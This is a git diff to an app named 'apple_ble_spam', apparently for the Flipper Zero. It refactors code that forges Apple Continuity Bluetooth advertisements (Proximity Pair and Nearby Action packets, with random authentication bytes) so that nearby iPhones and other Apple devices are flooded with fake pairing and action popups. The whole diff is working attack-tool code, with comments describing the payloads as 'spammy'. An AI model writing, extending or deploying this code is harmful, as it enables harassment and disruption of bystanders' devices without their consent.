diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index becef434e..ef29fa9f4 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -21,14 +21,6 @@ typedef struct { static Payload payloads[] = { - {.title = "Random Action", - .text = "Spam shuffle Nearby Actions", - .random = true, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.type = 0x00}}, - }}, {.title = "Random Pair", .text = "Spam shuffle Proximity Pairs", .random = true, @@ -37,6 +29,14 @@ static Payload .type = ContinuityTypeProximityPair, .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}}, }}, + {.title = "Random Action", + .text = "Spam shuffle Nearby Actions", + .random = true, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.type = 0x00}}, + }}, {.title = "AirPods Pro", .text = "Modal, spammy (auto close)", .random = false, @@ -385,6 +385,7 @@ int32_t apple_ble_spam(void* p) { randoms[payloads[payload_i].msg.type].count++; } for(ContinuityType type = 0; type < ContinuityTypeCount; type++) { + if(!randoms[type].count) continue; randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count); size_t random_i = 0; for(size_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) { diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c index bf15b0dab..f28fc7678 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.c +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.c @@ -7,40 +7,36 @@ // Custom adv logic and Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/ static const char* continuity_type_names[ContinuityTypeCount] = { - [ContinuityTypeNearbyAction] = "Nearby Action", [ContinuityTypeProximityPair] = "Proximity Pair", + [ContinuityTypeNearbyAction] = "Nearby Action", }; const char* continuity_get_type_name(ContinuityType type) { return continuity_type_names[type]; } static size_t continuity_packet_sizes[ContinuityTypeCount] = { - [ContinuityTypeNearbyAction] = 11, [ContinuityTypeProximityPair] = 31, + [ContinuityTypeNearbyAction] = 11, }; size_t continuity_get_packet_size(ContinuityType type) { return continuity_packet_sizes[type]; } void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) { + size_t size = continuity_get_packet_size(msg->type); size_t i = 0; - packet[i++] = continuity_get_packet_size(msg->type) - 1; - packet[i++] = 0xff; - packet[i++] = 0x4c; - packet[i++] = 0x00; + + packet[i] = size - i - 1; // Packet Length + i++; + packet[i++] = 0xff; // Packet Header + packet[i++] = 0x4c; // ... + packet[i++] = 0x00; // ... + packet[i++] = msg->type; // Type + packet[i] = size - i - 1; // Message Length + i++; + switch(msg->type) { - case ContinuityTypeNearbyAction: - packet[i++] = 0x0f; // Type (Nearby Action) - packet[i++] = 0x05; // Length - packet[i++] = 0xc1; // Action Flags - packet[i++] = msg->data.nearby_action.type; - packet[i++] = (rand() % 256); // Authentication Tag - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - break; case ContinuityTypeProximityPair: - packet[i++] = 0x07; // Type (Proximity Pair) - packet[i++] = 0x19; // Length packet[i++] = msg->data.proximity_pair.prefix; // Prefix (paired 0x01 new0x07 airtag 0x05) packet[i++] = msg->data.proximity_pair.model >> 8; packet[i++] = msg->data.proximity_pair.model & 0xFF; @@ -67,6 +63,15 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) { packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ... break; + + case ContinuityTypeNearbyAction: + packet[i++] = 0xc1; // Action Flags + packet[i++] = msg->data.nearby_action.type; + packet[i++] = (rand() % 256); // Authentication Tag + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + break; + default: break; } diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.h b/applications/external/apple_ble_spam/lib/continuity/continuity.h index a5a28f928..3de077d4f 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.h +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.h @@ -9,19 +9,19 @@ // Custom adv logic and Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/ typedef enum { - ContinuityTypeNearbyAction, - ContinuityTypeProximityPair, + ContinuityTypeProximityPair = 0x07, + ContinuityTypeNearbyAction = 0x0F, ContinuityTypeCount } ContinuityType; typedef union { - struct { - uint8_t type; - } nearby_action; struct { uint8_t prefix; uint16_t model; } proximity_pair; + struct { + uint8_t type; + } nearby_action; } ContinuityData; typedef struct {